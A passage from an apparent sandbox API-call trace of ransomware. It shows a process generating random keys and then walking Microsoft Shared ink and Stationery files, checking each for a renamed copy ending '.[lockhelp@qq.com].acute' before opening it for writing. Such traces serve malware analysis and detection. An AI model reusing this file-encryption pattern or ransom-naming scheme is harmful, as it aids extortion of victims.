(in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.666] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2600) returned 1 [0272.666] CloseHandle (hObject=0x32c) returned 1 [0272.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0272.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.666] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.666] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2246) returned 1 [0272.667] CloseHandle (hObject=0x32c) returned 1 [0272.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0272.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.667] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.667] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2240) returned 1 [0272.667] CloseHandle (hObject=0x32c) returned 1 [0272.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0272.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.667] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.667] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2644) returned 1 [0272.667] CloseHandle (hObject=0x32c) returned 1 [0272.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0272.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.668] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.668] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2542) returned 1 [0272.668] CloseHandle (hObject=0x32c) returned 1 [0272.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0272.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.669] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.669] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2568) returned 1 [0272.669] CloseHandle (hObject=0x32c) returned 1 [0272.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0272.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.669] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.669] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2596) returned 1 [0272.669] CloseHandle (hObject=0x32c) returned 1 [0272.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0272.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.670] ResetEvent (hEvent=0x2d4) returned 1 [0272.670] SetEvent (hEvent=0x2d8) returned 1 [0272.670] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.670] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2520) returned 1 [0272.670] CloseHandle (hObject=0x32c) returned 1 [0272.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0272.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.670] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.950] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.952] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.952] ResetEvent (hEvent=0x2d4) returned 1 [0272.952] SetEvent (hEvent=0x2d8) returned 1 [0272.952] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.953] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2575) returned 1 [0272.953] CloseHandle (hObject=0x368) returned 1 [0272.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0272.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.953] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.954] ResetEvent (hEvent=0x2d4) returned 1 [0272.954] SetEvent (hEvent=0x2d8) returned 1 [0272.954] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.954] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4587) returned 1 [0272.954] CloseHandle (hObject=0x368) returned 1 [0272.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0272.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.954] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.955] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.955] ResetEvent (hEvent=0x2d4) returned 1 [0272.955] SetEvent (hEvent=0x2d8) returned 1 [0272.956] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.956] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3792) returned 1 [0272.956] CloseHandle (hObject=0x368) returned 1 [0272.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0272.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.956] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.957] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.957] ResetEvent (hEvent=0x2d4) returned 1 [0272.957] SetEvent (hEvent=0x2d8) returned 1 [0272.957] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.958] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=23871) returned 1 [0272.958] CloseHandle (hObject=0x368) returned 1 [0272.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0272.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.958] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.959] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.961] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.961] ResetEvent (hEvent=0x2d4) returned 1 [0272.961] SetEvent (hEvent=0x2d8) returned 1 [0272.961] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.962] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=116724) returned 1 [0272.962] CloseHandle (hObject=0x368) returned 1 [0272.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0272.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.962] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.962] ResetEvent (hEvent=0x2d4) returned 1 [0272.962] SetEvent (hEvent=0x2d8) returned 1 [0272.963] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.963] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=237) returned 1 [0272.963] CloseHandle (hObject=0x368) returned 1 [0272.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0272.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.964] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.965] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.965] ResetEvent (hEvent=0x2d4) returned 1 [0272.965] SetEvent (hEvent=0x2d8) returned 1 [0272.965] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.965] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2920) returned 1 [0272.965] CloseHandle (hObject=0x368) returned 1 [0272.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0272.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.965] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.966] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.967] ResetEvent (hEvent=0x2d4) returned 1 [0272.967] SetEvent (hEvent=0x2d8) returned 1 [0272.967] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0272.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.967] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=235) returned 1 [0272.967] CloseHandle (hObject=0x368) returned 1 [0272.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0272.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common 